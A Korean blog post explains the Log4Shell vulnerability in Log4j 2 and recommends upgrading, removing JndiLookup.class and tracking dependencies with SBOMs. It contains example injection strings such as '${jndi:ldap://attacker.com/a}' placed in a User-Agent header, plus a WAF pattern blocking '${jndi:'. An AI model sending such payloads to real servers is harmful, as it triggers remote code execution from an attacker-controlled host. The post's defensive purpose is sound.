Log4Shell — Log4j 2 원격 코드 실행 취약점

2021년 인터넷 전체를 뒤흔든 Log4Shell(CVE-2021-44228)은 로그에 찍힌 문자열만으로 원격 코드 실행을 일으켰습니다. JNDI 룩업이라는 기능이 어떻게 무기가 됐는지, 그리고 업그레이드를 비롯한 올바른 대응을 정리합니다.

· 7 min read · PALDYN Team

지난 글에서 Log4j 2의 강력한 비동기 로깅 성능을 살펴봤습니다. 그런데 바로 그 Log4j 2가 2021년 12월, 인터넷 역사상 손꼽히는 보안 사고의 진원지가 됐습니다. Log4Shell(CVE-2021-44228)입니다. “로그 라이브러리에 취약점이 있어 봐야 얼마나 심각하겠나” 싶지만, 이 취약점은 그저 로그에 어떤 문자열을 찍히게 만드는 것만으로 서버에서 임의 코드를 실행할 수 있었습니다. CVSS 만점인 10.0을 받았고, 전 세계의 셀 수 없는 시스템이 영향을 받았습니다. 이번 글에서는 이 사고가 어떻게 가능했는지와 올바른 대응을 다룹니다.

평범한 기능이 무기가 되다

문제의 뿌리는 Log4j 2의 메시지 룩업(message lookup) 기능이었습니다. Log4j 2는 로그 메시지 안에 ${...} 형태의 표현식이 있으면 이를 평가해 치환하는 기능을 제공했습니다. 예컨대 ${java:version}은 자바 버전으로 바뀝니다. 편의 기능이지만, 여기에 JNDI(Java Naming and Directory Interface) 룩업이 포함된 것이 화근이었습니다.

${jndi:ldap://attacker.com/x} 같은 문자열이 로그로 들어오면, Log4j 2는 이를 평가하면서 지정된 LDAP 서버에 접속합니다. 그리고 그 서버가 돌려주는 정보에 따라 원격지의 자바 클래스를 내려받아 실행할 수 있었습니다. 즉 공격자가 통제하는 서버의 코드가 피해자 서버에서 실행되는 것입니다.

공격은 왜 그렇게 쉬웠나

Log4Shell 공격 흐름 — 로그에 찍힌 문자열이 코드를 실행한다

이 취약점이 무서웠던 이유는 공격 표면이 어마어마하게 넓었기 때문입니다. 애플리케이션은 보통 사용자 입력을 로그에 남깁니다. HTTP 요청의 User-Agent 헤더, 로그인 시도한 사용자명, 검색어 등 무엇이든 로그에 찍힐 수 있습니다.

// 흔하디흔한, 그러나 치명적이었던 코드
log.info("요청 User-Agent: {}", request.getHeader("User-Agent"));

공격자는 그저 User-Agent 헤더에 ${jndi:ldap://attacker.com/a}를 넣어 요청을 보내기만 하면 됩니다. 서버가 그 헤더를 로그에 남기는 순간, Log4j 2가 문자열을 평가하며 공격자의 LDAP 서버에 접속하고, 악성 클래스를 받아 실행합니다. 인증도 필요 없고, 특별한 권한도 필요 없었습니다. 입력값을 로그에 남기는 정상적인 코드가 곧 취약점이었던 것입니다.

올바른 대응

대응 방법의 우선순위 — 근본 해결은 버전 업그레이드

대응의 1순위는 언제나 버전 업그레이드입니다. Log4j 2.17.1 이상에서는 JNDI 룩업이 기본 비활성화되고 메시지 룩업도 제거되어 근본적으로 안전합니다. 초기에 나돌던 log4j2.formatMsgNoLookups=true 시스템 프로퍼티 같은 임시방편은 이후 발견된 우회 기법(CVE-2021-45046 등)으로 충분하지 않다고 밝혀졌으므로, 설정으로 막으려 하지 말고 반드시 패치 버전으로 올려야 합니다.

당장 업그레이드가 불가능한 긴급 상황의 차선책으로는, jar에서 JndiLookup.class를 제거하거나 WAF에서 ${jndi: 패턴을 차단하는 방법이 있었습니다. 그러나 이것들은 우회가 가능한 임시 조치일 뿐이며, 결국은 업그레이드가 답입니다.

우리가 배운 것

Log4Shell이 남긴 교훈은 로깅을 넘어섭니다. 첫째, 신뢰할 수 없는 입력을 평가하지 말 것 — 로그 메시지처럼 무해해 보이는 곳에서도 입력을 “실행”하는 기능은 위험합니다. 둘째, 의존성 가시성의 중요성입니다. 많은 조직이 자기 시스템에 Log4j가 어디에 들어 있는지조차 몰라 대응이 늦어졌습니다. SCA(Software Composition Analysis) 도구로 의존성을 스캔하고, SBOM(Software Bill of Materials)으로 어떤 라이브러리의 어떤 버전을 쓰는지 항상 파악해 두면, 다음 취약점이 터졌을 때 영향 범위를 즉시 알 수 있습니다.

정리

Log4Shell은 Log4j 2의 JNDI 메시지 룩업 기능이 로그에 찍힌 문자열만으로 원격 코드 실행을 일으킨, 공격 표면이 극도로 넓었던 치명적 취약점입니다. 사용자 입력을 로그에 남기는 평범한 코드가 곧 침투 경로였습니다. 근본 대응은 2.17.1 이상으로의 업그레이드이며, 평소 의존성 스캔과 SBOM 관리로 가시성을 확보하는 것이 미래의 사고를 줄입니다. 다음 글에서는 외부 의존성 없이 JDK에 내장된 로깅인 java.util.logging을 살펴봅니다.


지난 글: Log4j 2 — 비동기 로깅과 고성능

다음 글: java.util.logging (JUL) — JDK 내장 로깅


읽어주셔서 감사합니다. 😊